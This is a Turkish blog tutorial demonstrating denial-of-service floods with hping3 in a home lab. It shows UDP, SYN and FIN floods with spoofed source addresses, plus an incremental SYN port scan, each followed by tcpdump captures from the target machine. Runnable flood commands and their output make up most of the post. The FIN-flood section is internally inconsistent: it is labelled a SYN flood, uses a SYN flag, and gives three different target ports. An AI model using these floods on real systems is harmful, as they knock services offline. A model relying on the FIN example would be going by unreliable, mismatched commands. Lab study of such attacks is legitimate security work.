Hping3 ile Dos Yapma ve Tcpdump ile İzleme

(+) Bu yazıdaki testler birebir uygulanmıştır ve başarılı olunmuştur.

Not:

Bu yazıda hping3'in yamalı versiyonu kullanılmıştır.

Hping3 normalde paket oluşturma aracıdır. Ancak hping3 tool'unu --flood parametresi ile kullanırsak oluşturduğumuz paketleri olabildiğince hızlı gönder demiş oluruz ve böylece dos saldırısı yapmış oluruz. Şimdi çeşitli paketlerle dos saldırıları düzenleyelim.

a. Hping3 ile UDP Flood Yapma

Laptop'tan desktop PC'ye udp flood saldırısı düzenleyelim. Göndereceğimiz udp paketlerinin source IP'si 193.151.x.x deseninde olsun ve paketlerin gideceği hedef port 53 olsun.

Laptop (Ubuntu):

./hping3 --rand-pattern-source 193.151.x.x --flood --udp -p 53 192.168.68.134 
                                   ^                                ^
                                   |                                |
          Sahte Source IP'ler ======    Hedef Desktop Makinası ======

Çıktı:

HPING 192.168.68.134 (eth0 192.168.68.134): udp mode set, 28 headers + 0 data bytes hping in flood mode, no replies will be shown

Desktop (Ubuntu):

tcpdump -i enp0s25 -tn udp

Çıktı:

IP 193.151.207.65.12483 > 192.168.68.134.53: [|domain]
IP 193.151.158.113.12509 > 192.168.68.134.53: [|domain]
IP 193.151.160.62.12512 > 192.168.68.134.53: [|domain]
IP 193.151.181.212.12513 > 192.168.68.134.53: [|domain]
IP 193.151.99.0.12514 > 192.168.68.134.53: [|domain]
IP 193.151.181.105.12515 > 192.168.68.134.53: [|domain]
IP 193.151.182.103.12542 > 192.168.68.134.53: [|domain]
IP 193.151.4.250.12543 > 192.168.68.134.53: [|domain]
IP 193.151.132.116.12573 > 192.168.68.134.53: [|domain]
IP 193.151.93.11.12574 > 192.168.68.134.53: [|domain]
IP 193.151.178.110.12575 > 192.168.68.134.53: [|domain]
IP 193.151.78.169.12576 > 192.168.68.134.53: [|domain]
IP 193.151.58.251.12579 > 192.168.68.134.53: [|domain]
IP 193.151.97.17.12605 > 192.168.68.134.53: [|domain]
IP 193.151.19.82.12606 > 192.168.68.134.53: [|domain]
IP 193.151.4.41.12607 > 192.168.68.134.53: [|domain]
IP 193.151.165.2.12608 > 192.168.68.134.53: [|domain]
IP 193.151.29.7.12637 > 192.168.68.134.53: [|domain]
IP 193.151.70.89.12638 > 192.168.68.134.53: [|domain]
IP 193.151.106.165.12667 > 192.168.68.134.53: [|domain]
IP 193.151.148.113.12668 > 192.168.68.134.53: [|domain]
IP 193.151.93.2.12680 > 192.168.68.134.53: [|domain]
IP 193.151.76.65.12681 > 192.168.68.134.53: [|domain]
IP 193.151.68.26.12682 > 192.168.68.134.53: [|domain]
IP 193.151.55.186.12683 > 192.168.68.134.53: [|domain]
IP 193.151.76.96.12684 > 192.168.68.134.53: [|domain]
IP 193.151.162.194.12685 > 192.168.68.134.53: [|domain]
IP 193.151.106.27.12686 > 192.168.68.134.53: [|domain]
IP 193.151.221.19.12701 > 192.168.68.134.53: [|domain]
IP 193.151.215.193.12720 > 192.168.68.134.53: [|domain]
IP 193.151.35.251.12721 > 192.168.68.134.53: [|domain]
IP 193.151.176.198.12722 > 192.168.68.134.53: [|domain]
IP 193.151.105.55.12730 > 192.168.68.134.53: [|domain]
IP 193.151.165.115.12777 > 192.168.68.134.53: [|domain]
IP 193.151.26.56.12778 > 192.168.68.134.53: [|domain]
IP 193.151.214.23.12779 > 192.168.68.134.53: [|domain]
IP 193.151.92.12.12780 > 192.168.68.134.53: [|domain]
IP 193.151.176.87.12810 > 192.168.68.134.53: [|domain]
IP 193.151.197.132.12811 > 192.168.68.134.53: [|domain]
IP 193.151.181.123.12826 > 192.168.68.134.53: [|domain]
IP 193.151.82.128.12836 > 192.168.68.134.53: [|domain]
IP 193.151.223.28.12837 > 192.168.68.134.53: [|domain]

Masaüstü pc'de tcpdump komutu girildikten sonra sisteme gelen normal udp paketleri ekrana gelirken hping3 tool'u çalıştırıldığında bir anda ekranı hızla 193.151.xx deseninde ip'lerden gelen udp paketleri doldurmuştur. Çıktıdan da görülebileceği üzere kaynak IP'si 193.151.x.x deseninde olan paketler 53ncü portumuza gelmiştirler.

b. Hping3 ile Syn Flood Yapma

Laptop'tan masaüstü PC'ye syn flood saldırısı düzenleyelim. Göndereceğimiz syn paketlerinin source IP'si 193.151.x.x deseninde olsun ve paketlerin gideceği hedef port 55 olsun.

Laptop (Ubuntu):

./hping3 --flood --syn -p 55 192.168.68.134 --rand-pattern-source 193.151.x.x

Desktop (Ubuntu):

tcpdump -i enp0s25 -tn 'tcp[13] & tcp-syn != 0'

Çıktı:

IP 193.151.41.199.22053 > 192.168.68.134.55: Flags [S], seq 2062188485, win 512, length 0
IP 193.151.161.195.22059 > 192.168.68.134.55: Flags [S], seq 869466075, win 512, length 0
IP 193.151.146.228.22060 > 192.168.68.134.55: Flags [S], seq 1825063176, win 512, length 0
IP 193.151.69.5.22061 > 192.168.68.134.55: Flags [S], seq 1777850188, win 512, length 0
IP 193.151.209.16.22062 > 192.168.68.134.55: Flags [S], seq 145844699, win 512, length 0
IP 193.151.66.88.22063 > 192.168.68.134.55: Flags [S], seq 1641004086, win 512, length 0
IP 193.151.16.163.22069 > 192.168.68.134.55: Flags [S], seq 390504677, win 512, length 0
IP 193.151.9.164.22080 > 192.168.68.134.55: Flags [S], seq 1008040547, win 512, length 0
IP 193.151.197.207.22094 > 192.168.68.134.55: Flags [S], seq 728327576, win 512, length 0
IP 193.151.242.80.22123 > 192.168.68.134.55: Flags [S], seq 153918576, win 512, length 0
IP 193.151.190.72.22138 > 192.168.68.134.55: Flags [S], seq 1312716596, win 512, length 0
IP 193.151.15.56.22139 > 192.168.68.134.55: Flags [S], seq 1414419537, win 512, length 0
IP 193.151.119.53.22146 > 192.168.68.134.55: Flags [S], seq 2092261174, win 512, length 0
IP 193.151.120.46.22176 > 192.168.68.134.55: Flags [S], seq 1359051656, win 512, length 0
IP 193.151.68.64.22184 > 192.168.68.134.55: Flags [S], seq 475056854, win 512, length 0
IP 193.151.200.226.22185 > 192.168.68.134.55: Flags [S], seq 264540782, win 512, length 0
IP 193.151.196.218.22186 > 192.168.68.134.55: Flags [S], seq 493670053, win 512, length 0
IP 193.151.175.228.22194 > 192.168.68.134.55: Flags [S], seq 1578873503, win 512, length 0
IP 193.151.249.249.22203 > 192.168.68.134.55: Flags [S], seq 1442570489, win 512, length 0
IP 193.151.249.69.22204 > 192.168.68.134.55: Flags [S], seq 911189610, win 512, length 0
IP 193.151.228.17.22205 > 192.168.68.134.55: Flags [S], seq 242218285, win 512, length 0
IP 193.151.173.187.22206 > 192.168.68.134.55: Flags [S], seq 1842196420, win 512, length 0
IP 193.151.83.49.22217 > 192.168.68.134.55: Flags [S], seq 349717068, win 512, length 0
IP 193.151.128.139.22226 > 192.168.68.134.55: Flags [S], seq 549209499, win 512, length 0
IP 193.151.43.200.22228 > 192.168.68.134.55: Flags [S], seq 927399876, win 512, length 0
IP 193.151.41.226.22231 > 192.168.68.134.55: Flags [S], seq 2042946276, win 512, length 0
IP 193.151.127.114.22237 > 192.168.68.134.55: Flags [S], seq 1501583623, win 512, length 0
IP 193.151.174.17.22238 > 192.168.68.134.55: Flags [S], seq 33630617, win 512, length 0
IP 193.151.49.95.22262 > 192.168.68.134.55: Flags [S], seq 1371362904, win 512, length 0
IP 193.151.192.206.22296 > 192.168.68.134.55: Flags [S], seq 1218945438, win 512, length 0
IP 193.151.77.224.22308 > 192.168.68.134.55: Flags [S], seq 1832117766, win 512, length 0
IP 193.151.194.74.22314 > 192.168.68.134.55: Flags [S], seq 815486769, win 512, length 0
IP 193.151.64.89.22325 > 192.168.68.134.55: Flags [S], seq 274879436, win 512, length 0
IP 193.151.233.120.22341 > 192.168.68.134.55: Flags [S], seq 1488008803, win 512, length 0
IP 193.151.29.44.22357 > 192.168.68.134.55: Flags [S], seq 1052529189, win 512, length 0
IP 193.151.94.228.22359 > 192.168.68.134.55: Flags [S], seq 876995605, win 512, length 0
IP 193.151.241.235.22371 > 192.168.68.134.55: Flags [S], seq 1274538751, win 512, length 0
IP 193.151.43.53.22397 > 192.168.68.134.55: Flags [S], seq 55539032, win 512, length 0
IP 193.151.170.53.22401 > 192.168.68.134.55: Flags [S], seq 1596231800, win 512, length 0
IP 193.151.27.66.22403 > 192.168.68.134.55: Flags [S], seq 2000793456, win 512, length 0

Görüldüğü üzere kaynak IP'si 193.151.xx deseninde olan Syn paketleri 55nci portumuza gelmiştir.

c. Hping3 ile Fin Flood Yapma

Laptop'tan masaüstü PC'ye syn flood saldırısı düzenleyelim. Göndereceğimiz syn paketlerinin source IP'si 193.151.x.x deseninde olsun ve paketlerin gideceği hedef port 73 olsun.

Laptop (Ubuntu):

./hping3 --rand-pattern-source 193.151.x.x --flood --syn -p 71 192.168.68.134

Desktop (Ubuntu):

tcpdump -i enp0s25 -tn 'tcp[13] & tcp-fin != 0'

Çıktı:

IP 193.151.97.49.53775 > 192.168.68.134.71: Flags [F], seq 1544309775, win 512, length 0
IP 193.151.165.52.53803 > 192.168.68.134.71: Flags [F], seq 1268878081, win 512, length 0
IP 193.151.137.21.53804 > 192.168.68.134.71: Flags [F], seq 1503604814, win 512, length 0
IP 193.151.117.99.53805 > 192.168.68.134.71: Flags [F], seq 1776124646, win 512, length 0
IP 193.151.236.174.53829 > 192.168.68.134.71: Flags [F], seq 1275686603, win 512, length 0
IP 193.151.252.54.53830 > 192.168.68.134.71: Flags [F], seq 675262762, win 512, length 0
IP 193.151.83.145.53858 > 192.168.68.134.71: Flags [F], seq 2114381334, win 512, length 0
IP 193.151.143.85.53859 > 192.168.68.134.71: Flags [F], seq 1842356330, win 512, length 0
IP 193.151.108.182.53882 > 192.168.68.134.71: Flags [F], seq 957295379, win 512, length 0
IP 193.151.114.143.53883 > 192.168.68.134.71: Flags [F], seq 641899809, win 512, length 0
IP 193.151.158.172.53908 > 192.168.68.134.71: Flags [F], seq 477903290, win 512, length 0
IP 193.151.11.40.53909 > 192.168.68.134.71: Flags [F], seq 1456611119, win 512, length 0
IP 193.151.11.190.53910 > 192.168.68.134.71: Flags [F], seq 304991553, win 512, length 0
IP 193.151.193.244.53911 > 192.168.68.134.71: Flags [F], seq 468241012, win 512, length 0
IP 193.151.171.237.53912 > 192.168.68.134.71: Flags [F], seq 1580565956, win 512, length 0
IP 193.151.203.1.53938 > 192.168.68.134.71: Flags [F], seq 500526253, win 512, length 0
IP 193.151.76.234.53939 > 192.168.68.134.71: Flags [F], seq 1977037155, win 512, length 0
IP 193.151.183.227.53961 > 192.168.68.134.71: Flags [F], seq 194609602, win 512, length 0
IP 193.151.108.193.53962 > 192.168.68.134.71: Flags [F], seq 432981958, win 512, length 0
IP 193.151.249.242.53963 > 192.168.68.134.71: Flags [F], seq 215932346, win 512, length 0
IP 193.151.97.13.53964 > 192.168.68.134.71: Flags [F], seq 1577291126, win 512, length 0
IP 193.151.80.235.53992 > 192.168.68.134.71: Flags [F], seq 1309601551, win 512, length 0
IP 193.151.164.40.53993 > 192.168.68.134.71: Flags [F], seq 652941122, win 512, length 0
IP 193.151.245.237.54016 > 192.168.68.134.71: Flags [F], seq 152622224, win 512, length 0
IP 193.151.87.4.54017 > 192.168.68.134.71: Flags [F], seq 1652241550, win 512, length 0
IP 193.151.19.180.54018 > 192.168.68.134.71: Flags [F], seq 1570782794, win 512, length 0
IP 193.151.40.68.54045 > 192.168.68.134.71: Flags [F], seq 1809580777, win 512, length 0
IP 193.151.174.40.54071 > 192.168.68.134.71: Flags [F], seq 175188272, win 512, length 0
IP 193.151.56.98.54072 > 192.168.68.134.71: Flags [F], seq 945504080, win 512, length 0
IP 193.151.170.85.54099 > 192.168.68.134.71: Flags [F], seq 776748326, win 512, length 0
IP 193.151.112.142.54123 > 192.168.68.134.71: Flags [F], seq 1763772226, win 512, length 0
IP 193.151.106.65.54124 > 192.168.68.134.71: Flags [F], seq 268568409, win 512, length 0
IP 193.151.181.205.54125 > 192.168.68.134.71: Flags [F], seq 1870202114, win 512, length 0
IP 193.151.159.21.54153 > 192.168.68.134.71: Flags [F], seq 2068282370, win 512, length 0

Görüldüğü üzere kaynak IP'si 193.151.xx deseninde olan Fin paketleri 55nci portumuza gelmiştir.

Bu şekilde hping3 tool'unun oluşturabildiği her paketle dos saldırısı düzenleyebiliriz.

Ekstra [Hping3 ile Port Taraması Yapma]

Laptop (Ubuntu):

./hping3 -S 192.168.68.134 -p ++20
                              ^
                              |
                              =========  Port 20'den itibaren artıra
                                         artıra tüm portları tara

Desktop (Ubuntu):

tcpdump -i enp0s25 -tn 'tcp[13] & tcp-syn != 0'

Çıktı:

IP 192.168.68.113.1222 > 192.168.68.134.20: Flags [S], seq 1036518285, win 512, length 0
IP 192.168.68.113.1223 > 192.168.68.134.21: Flags [S], seq 2118026086, win 512, length 0
IP 192.168.68.113.1224 > 192.168.68.134.22: Flags [S], seq 725999915, win 512, length 0
IP 192.168.68.113.1225 > 192.168.68.134.23: Flags [S], seq 2131961761, win 512, length 0
IP 192.168.68.113.1226 > 192.168.68.134.24: Flags [S], seq 1553262406, win 512, length 0
IP 192.168.68.113.1227 > 192.168.68.134.25: Flags [S], seq 1279084552, win 512, length 0
IP 192.168.68.113.1228 > 192.168.68.134.26: Flags [S], seq 1815687970, win 512, length 0
IP 192.168.68.113.1229 > 192.168.68.134.27: Flags [S], seq 771876914, win 512, length 0
IP 192.168.68.113.1230 > 192.168.68.134.28: Flags [S], seq 1519793928, win 512, length 0
IP 192.168.68.113.1231 > 192.168.68.134.29: Flags [S], seq 319148551, win 512, length 0
IP 192.168.68.113.1232 > 192.168.68.134.30: Flags [S], seq 350166750, win 512, length 0
IP 192.168.68.113.1233 > 192.168.68.134.31: Flags [S], seq 296332765, win 512, length 0
IP 192.168.68.113.1234 > 192.168.68.134.32: Flags [S], seq 1956037143, win 512, length 0
IP 192.168.68.113.1235 > 192.168.68.134.33: Flags [S], seq 2140988260, win 512, length 0
IP 192.168.68.113.1236 > 192.168.68.134.34: Flags [S], seq 1480751483, win 512, length 0
IP 192.168.68.113.1237 > 192.168.68.134.35: Flags [S], seq 1681103578, win 512, length 0
IP 192.168.68.113.1238 > 192.168.68.134.36: Flags [S], seq 510842195, win 512, length 0
IP 192.168.68.113.1239 > 192.168.68.134.37: Flags [S], seq 1334188951, win 512, length 0
IP 192.168.68.113.1240 > 192.168.68.134.38: Flags [S], seq 1440972696, win 512, length 0
IP 192.168.68.113.1241 > 192.168.68.134.39: Flags [S], seq 238985485, win 512, length 0
IP 192.168.68.113.1242 > 192.168.68.134.40: Flags [S], seq 1468508307, win 512, length 0
IP 192.168.68.113.1243 > 192.168.68.134.41: Flags [S], seq 944536532, win 512, length 0
IP 192.168.68.113.1244 > 192.168.68.134.42: Flags [S], seq 1993490788, win 512, length 0
IP 192.168.68.113.1245 > 192.168.68.134.43: Flags [S], seq 1435072113, win 512, length 0
IP 192.168.68.113.1246 > 192.168.68.134.44: Flags [S], seq 1161463182, win 512, length 0
IP 192.168.68.113.1247 > 192.168.68.134.45: Flags [S], seq 1792398572, win 512, length 0
IP 192.168.68.113.1248 > 192.168.68.134.46: Flags [S], seq 1326909211, win 512, length 0
IP 192.168.68.113.1249 > 192.168.68.134.47: Flags [S], seq 856154278, win 512, length 0
IP 192.168.68.113.1250 > 192.168.68.134.48: Flags [S], seq 1314405433, win 512, length 0
IP 192.168.68.113.1251 > 192.168.68.134.49: Flags [S], seq 1408343378, win 512, length 0
IP 192.168.68.113.1252 > 192.168.68.134.50: Flags [S], seq 247760419, win 512, length 0
IP 192.168.68.113.1253 > 192.168.68.134.51: Flags [S], seq 1016658489, win 512, length 0
IP 192.168.68.113.1254 > 192.168.68.134.52: Flags [S], seq 1538096378, win 512, length 0
IP 192.168.68.113.1255 > 192.168.68.134.53: Flags [S], seq 390590354, win 512, length 0
IP 192.168.68.113.1256 > 192.168.68.134.54: Flags [S], seq 1853585825, win 512, length 0
IP 192.168.68.113.1257 > 192.168.68.134.55: Flags [S], seq 1037894254, win 512, length 0
IP 192.168.68.113.1258 > 192.168.68.134.56: Flags [S], seq 1370083841, win 512, length 0
IP 192.168.68.113.1259 > 192.168.68.134.57: Flags [S], seq 370875260, win 512, length 0
IP 192.168.68.113.1260 > 192.168.68.134.58: Flags [S], seq 959629073, win 512, length 0
IP 192.168.68.113.1261 > 192.168.68.134.59: Flags [S], seq 361171913, win 512, length 0
IP 192.168.68.113.1262 > 192.168.68.134.60: Flags [S], seq 1042135979, win 512, length 0
IP 192.168.68.113.1263 > 192.168.68.134.61: Flags [S], seq 1205204373, win 512, length 0
IP 192.168.68.113.1264 > 192.168.68.134.62: Flags [S], seq 1146709860, win 512, length 0
IP 192.168.68.113.1265 > 192.168.68.134.63: Flags [S], seq 675205935, win 512, length 0
IP 192.168.68.113.1266 > 192.168.68.134.64: Flags [S], seq 1931680859, win 512, length 0
IP 192.168.68.113.1267 > 192.168.68.134.65: Flags [S], seq 2101918818, win 512, length 0
IP 192.168.68.113.1268 > 192.168.68.134.66: Flags [S], seq 719539742, win 512, length 0
IP 192.168.68.113.1269 > 192.168.68.134.67: Flags [S], seq 442869475, win 512, length 0
IP 192.168.68.113.1270 > 192.168.68.134.68: Flags [S], seq 458613320, win 512, length 0
IP 192.168.68.113.1271 > 192.168.68.134.69: Flags [S], seq 60260326, win 512, length 0
IP 192.168.68.113.1272 > 192.168.68.134.70: Flags [S], seq 1634279625, win 512, length 0
IP 192.168.68.113.1273 > 192.168.68.134.71: Flags [S], seq 206728582, win 512, length 0
IP 192.168.68.113.1274 > 192.168.68.134.72: Flags [S], seq 1017111024, win 512, length 0
IP 192.168.68.113.1275 > 192.168.68.134.73: Flags [S], seq 1763950444, win 512, length 0

...

Not:

Çıktıya dikkatli bakıldığında port numaralarının 20 den itibaren sırayla arttığı görülebilir.

Görüldüğü üzere hedef makinanın port 20'sinden başlanarak artıra artıra tüm portlarına Syn paketi gönderilmiştir.

Bu yazı 17.06.2025 tarihinde, saat 16:22:30'de yazılmıştır.

Yazar : Hasan Fatih ŞİMŞEK

Görüntülenme Sayısı : 23

Yorumlar

Henüz yorum girilmemiştir.

Yorum Ekle

	#Kategoriler
	->	Genel
	->	Webgoat Uygulaması
	->	DVWA Uygulaması
	->	Çeşitli Sızma Teknikleri
	->	Siber Güvenlik Araçları
	->	Linux Temelleri
	->	Siber Güvenlik Genel Kültür

#Popüler Yazılar
	->	Faz Açısını Hesaplama
	->	Hub, Switch, Router, Modem, Gateway ve Access Point Farkları
	->	Ders 12 - Ajax Security > DOM-Based cross-site scripting
	->	GET ile POST Arasındaki Fark
	->	BGA Sınav Soruları 2016

#En Son Yazılar
	->	Hping3 ile Dos Yapma ve Tcpdump ile İzleme
	->	Firewall Log'larını Anlık İzleme
	->	DNS Zone Transferi Saldırısı
	->	Aircrack-ng ile Hedefi Hattan Düşürme
	->	Aircrack-ng İle WPA2 Şifre Kırma

#Arşiv
	► 2014 ► Ekim (1) • Blog Maceram Başlar ► Kasım (7) • Parazit ve Gürültü Arasındaki Fark Nedir? • Stack ve Heap Arasındaki Fark • Sinyal Denkleminin Anlamı • Periyot ve Frekans Nedir? • Faz Açısını Hesaplama • Üniversite Öğrencilerinin Sağlık Aktivasyonu • Nesne Yönelimli Programlama Nedir ► Aralık (3) • Skype'ta Birbirimizin Sesini Nasıl Duyuyoruz? • Hub, Switch, Router, Modem, Gateway ve Access Point Farkları • Askerlikle İlgili Sorular ► 2015 ► Ocak (1) • Dev Firmaların Mülakatlarda Sorduğu 15 Çetin Soru ► Şubat (4) • Yapay Zeka İnsanı Geçemez • Webgoat Nedir? • Ubuntu 14.04 LTS Linux'a Webgoat Kurulumu • Windows'a Webgoat Kurulumu ► Mart (1) • Ders 1 - Introduction(Giriş) ► Nisan (3) • Ders 2 - General > Http Basics • Ders 3 - General > Http Split • Ders 4 - Access Control Flaws > Using an Access Control Matrix ► Mayıs (7) • Ders 5 - Access Control Flaws > Bypass a Path Based Access Control Scheme • Ders 6 - Role Based Access Control > Stage 1 • Ders 7 - Role Based Access Control > Stage 2 • Ders 8 - Role Based Access Control > Stage 3 • Ders 9 - Role Based Access Control > Stage 4 • Ders 10 - Access Control Flaws > Remote Admin Access • Ders 11 - Ajax Security > Same Origin Policy Protection ► Haziran (4) • Ders 12 - Ajax Security > DOM-Based cross-site scripting • Ders 13 - Ajax Security > Client Side Filtering • GET ile POST Arasındaki Fark • Ders 14 - Ajax Security > DOM Injection ► Temmuz (7) • Ders 15 - Ajax Security > XML Injection • Ders 16 - Ajax Security > JSON Injection • Ders 17 - Ajax Security > Silent Transactions Attacks • UML Sınıf Diyagramları • UML Sınıf Diyagramı İlişkileri • Association vs. Aggregation vs. Composition • Ders 18 - Ajax Security > Dangerous Use of Eval ► Ağustos (2) • Ders 19 - Ajax Security > Insecure Client Storage • Ders 20 - Authentication Flaws > Password Strength ► Eylül (11) • Ders 21 - Authentication Flaws > Forgot Password • Ders 22 - Authentication Flaws > Basic Authentication • Ders 23 - Authentication Flaws > Multi Level Login 1 • Ders 24 - Authentication Flaws > Multi Level Login 2 • Ders 25 - Buffer Overflows > Off-by-One Overflows • Ders 26 - Code Quality > Discover Clues in the HTML • Ders 27 - Concurrency > Thread Safety Problems • Ders 28 - Concurrency > Shopping Cart Concurrency Flaw • Ders 29 - Cross-Site Scripting (XSS) > Phishing with XSS • Ders 30 - Cross-Site Scripting (XSS) > Stage 1: Stored XSS • Ders 31 - Cross-Site Scripting > Stage 2: Block Stored XSS using Input Validation ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2016 ► Ocak (27) • DVWA Nedir? • Windows'a DVWA Kurulumu • Ubuntu 14.04 LTS Linux'a DVWA Kurulumu • Ders 1 - DVWA'ya Giriş • Ders 2 - Brute Force (Low Level) • Ders 3 - Brute Force (Medium Level) • Ders 4 - Command Injection (Low Level) • Ders 5 - Command Injection (Medium Level) • Ders 6 - Command Injection (High Level) • Ders 7 - Cross Site Request Forgery (Low Level) • Ders 8 - File Inclusion (Low Level) • Ders 9 - File Inclusion (Medium Level) • Ders 10 - File Inclusion (High Level) • Ders 11 - File Upload (Low Level) • Ders 12 - File Upload (Medium Level) • Ders 13 - File Upload (High Level) • Ders 14 - SQL Injection (Low Level) • Ders 15 - SQL Injection (Low Level) II • Ders 16 - SQL Injection (Medium Level) • Ders 17 - Blind SQL Injection (Low Level) • BGA Sınav Soruları 2016 • Ders 18 - Blind SQL Injection (Medium Level) • Ders 19 - Reflected XSS (Low Level) • Ders 20 - Reflected XSS (Medium Level) • Ders 21 - Reflected XSS (High Level) • Ders 22 - Stored XSS (Low Level) • Ders 23 - Stored XSS (Medium Level) ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (0) ► Eylül (0) ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2017 ► Ocak (0) ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (0) ► Eylül (0) ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2018 ► Ocak (0) ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (0) ► Eylül (1) • Ve Blog'a Döndüm ► Ekim (0) ► Kasım (6) • Metasploit Framework'e Giriş • Metasploit ile Bir Sızma Uygulaması (ms08-067) • Metasploit Saldırı Aşamaları (Özet) • Metasploit Komutları • Metasploit Detay Bilgiler • Metasploit Detay Bilgiler (Özet) ► Aralık (0) ► 2019 ► Ocak (0) ► Şubat (0) ► Mart (2) • Arp Spoofing Saldırısı Nedir ve Nasıl Yapılır • Arp Spoofing İlave Uygulamalar ► Nisan (0) ► Mayıs (0) ► Haziran (1) • Oyun Motoru Nedir ► Temmuz (1) • Haberleşme Teknolojisi ► Ağustos (0) ► Eylül (0) ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2020 ► Ocak (1) • Siber Güvenlikte Düşük Seviye Açıklık Nedir ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (0) ► Eylül (0) ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2021 ► Ocak (0) ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (0) ► Eylül (0) ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2022 ► Ocak (0) ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (1) • Apache Web Sunucuyu Yurt Dışı (Türkiye Dışı) Trafiğe Kapama ► Eylül (0) ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2023 ► Ocak (0) ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (0) ► Eylül (0) ► Ekim (0) ► Kasım (0) ► Aralık (0) ► 2024 ► Ocak (0) ► Şubat (0) ► Mart (0) ► Nisan (0) ► Mayıs (0) ► Haziran (0) ► Temmuz (0) ► Ağustos (58) • APT Saldırısı Nedir • Bug vs Vulnerability • CAPEC Nedir ve Kullanımı • CTF Nedir • CVE Nedir ve Kullanımı • CWE vs CVE • Character Set, Character Encoding ve Character Reference Nedir • Exploit Arama Yöntemi • Framework Nedir • Mirai Zararlısı Nedir • Paypal ve Güvenlik • RAT Nedir • Ransomware Nedir • Bir Siteye Shell Atmanın 20 Temel Yöntemi • Sisteminizi Shell'lerden Korumanın Yöntemleri • Sosyal Mühendislik Saldırı Türleri • Stagefright Virüsü Nedir • Vulnerability Scanner'ların Çalışma Mantığı • Crypto 101 - Notlarım • ASP.NET'te .config Dosyalarının Hiyerarşisi ve Sıkılaştırma için Web.config Dosyası Oluşturma • Authentication vs Authorization • Brute Force ve Dictionary Saldırılarını CSRF Token ile Önleme • CSRF Nedir ve Nasıl SameSite ile Tamamen Önlenir • Edge, Chrome ve Firefox'da Önbellek Tazeleme • DVWA Blind SQL Injection Hakkında Ek Not • HTTP Range Başlığı Nedir • Paylaşımlı Hosting'de Komşu Web Sitelerini Tespit Etme • Mass Deface Nedir • Cookie'ye HttpOnly, Secure ve Same-Site Bayraklarının Uygulanmaması Açıklığı • Email Adres İfşası Açıklığı • Feature Policy Başlığı • HTTP Strict Transport Security (HSTS) Başlığı Nedir • Insecure Frame Usage (External) Açıklığı • Güvensiz İletişim Güvenlik Protokolü Açıklığı • Content-Type Başlığı Eksikliği Açıklığı • Subresource Integrity (SRI) Eksikliği Açıklığı • Cacheable Https Response Açıklığı • CSRF Korumasız HTML Formu Açıklığı • Yanlış Yapılandırılmış Access-Control-Allow-Origin Başlığı Açıklığı • Remote File Inclusion (RFI) Saldırısı ve Korunma Yöntemi • Tamper Data Nedir • User Agent Başlığı Nedir • Web Hosting vs VPS Hosting • OWASP Mutillidae Web Uygulaması Açıklıklar Listesi • Mobil Penetrasyon Testi Nedir ve Neleri Kapsar? • iOS Uygulama Pentest - Kısa Kısa Notlarım • Kerberos Nedir • Temel Windows CMD Komutları • İnternet Ağı Şeması • DNS DOS Saldırılarına Karşı Önlem • DNS Zone Nedir • NAT (Network Address Translation) Nedir • Netcat ile Sistem Ele Geçirme Senaryosu Örneği • Nmap Kullanımı 1 - Çıkardığım Notlarım • Nmap Kullanımı 2 - Çıkardığım Notlarım • OSI ve TCP-IP • Proxy vs VPN • Router İçerisindeki Firewall ve DHCP ► Eylül (27) • SSH Tünelleme • Wireshark'ta Paket İçeriği (Raw Data) Neden Hex Gösterime Sahip • Linux Environment (Ortam) Değişkenleri • GNU, Özgür Yazılım, Copyleft ve GPL Nedir • GNU Utils vs Bash • Linux'ta Dizinlerin Amaçları ve Bazı Önemli Dosyalar • Linux Terminal Komutları • Standard Release Linux vs Rolling Release Linux • Tex Nedir • Özgür Yazılım Dünyasında Community (Topluluk) Nasıl Yazılım Geliştirebiliyor • UNIX Nedir • X Window System Nedir • Reverse Shell Alınmış Sistem Üzerinde Root - Administrator Yetkilerinde Kullanıcı Oluşturmak • AB Tool'u ile Bir Web Sunucuya GET Flood DoS Saldırısı • Apache Range Saldırıları ile Apache Web Sunucuları Servis Dışı Bırakma • DVWA Brute Force (High Level) • Cain Abel ile MySQL Hash Kırma • Curl ile Http Taleplerinde Bulunma • Konsoldan Http Talep Yapma • WebDAV Keşif ve Exploitation • Davtest Tool ile WebDAV Hacking • DVWA Command Injection ile Reverse Shell Alma Uygulamaları • DVWA Content Security Policy Başlığı Uygulamaları • DVWA Stored XSS Saldırısı ile Çerez Çalma • Google Hacking Database (GHDB) Kullanımı • Ettercap ile Parola Sniff'leme • Httrack Tool'u ile Web Site Klonlama ve Hesap Çalma ► Ekim (23) • Http PUT Metodu ile Dosya Upload'lama Uygulaması • Slow Http GET, Slow Http POST ve Slow Http Read DoS Saldırıları • Slowhttptest Kurulumu • Http Talep Paketlerinde Parametre Gönderim Yöntemleri • Telnet ve Netcat ile Http Taleplerinde Bulunma • Http Güvenlik Başlıkları Kullanan Günümüz Web Sitelere Örnekler • Antivirus Yazılımı Neden Kullanılmalı • Ses Dalgası Nedir • Fonksiyon Nedir • Logaritma Nedir • İntegral Nedir • Diferansiyel Nedir • Işık Yılı Nedir • NetworkMiner ile Trafik Analizi • Slow Http POST Saldırıları ile Nginx Sunucuları Servis Dışı Bırakma • SSL-TLS DoS Saldırısı ile Apache Web Sunucuları Servis Dışı Bırakma • SSLStrip Saldırısı Nedir ve Nasıl Uygulanır • Setoolkit ile Java Applet Saldırısı • Stored XSS ve Socat ile Çerez Çalma • ThinVNC 1.0b1 Directory Traversal Açıklığı ve Sömürme • Range Saldırısı ile Windows IIS Web 